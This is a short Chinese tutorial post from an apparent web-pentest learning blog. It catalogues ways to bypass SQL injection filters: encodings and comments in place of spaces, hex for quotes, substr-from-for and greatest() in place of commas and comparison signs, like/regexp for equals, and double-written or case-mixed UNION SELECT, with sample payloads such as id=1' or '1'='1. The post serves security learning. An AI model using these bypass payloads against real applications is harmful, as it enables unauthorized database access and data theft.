网安入门09-Sql注入(绕过方法梳理)
ByPass
SQL注入ByPass是指攻击者通过各种手段绕过应用程序中已经实施的SQL注入防御措施,例如输入恶意数据、修改请求头等方式,绕过过滤、转义、限制等操作,从而成功地执行恶意SQL语句。攻击者使用SQL注入ByPass技术可以让应用程序的防御措施失效,使得SQL注入攻击成功。因此,防范SQL注入攻击需要采取综合的安全措施,包括正确的SQL语句编写、使用参数化查询、限制用户输入、过滤和转义特殊字符等。
绕过空格
替换 | 说明 |
---|---|
/**/ | 内联注释符 |
%a0 | URL编码 |
%09 | php里会被当作Tab键 |
%0a | php里会被当作换行键 |
() | 括号 |
+ |
加号 |
绕过 引号"
table_name=”users”
使用16进制编码
Hex编码/解码 - 107000使用拼接字符串
例如将"username"替换
为'username'+' '
绕过 逗号,
Substr(database(),1,1)
用from,for绕过 select substr(database() from 1 for 1);
另外,如果substr被过滤,可以用mid()来代替, 还可以用right(),left()
绕过 大于号小于号><
ascill(substr(database(),0,1))>
- 用greatest(),least() 绕过(前者返回最大值,后者返回最小值)
greatest(ascill(substr(database(),0,1)),64)=64
- 或者用
between a and z
来返回a与z之间的数据==不包括z==
绕过注释符 # –+ – -
- %23 (#的URL编码)
- 或者通过闭合后面的引号来进行绕过
id=1' union select 1,2,'3
id=1' or '1'='1
绕过 等于号 =
- 使用大于号小于号
- like MySQL里的模糊查询
- rlike
- regexp 正则表达式
绕过 union select where 关键字
例如 sqlilabs less25
双写绕过 uniunionon
U/**/NION/**/SE/**/LECT
(成功率较低)大小写绕过 UniOn aNd
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Web渗透小趴菜!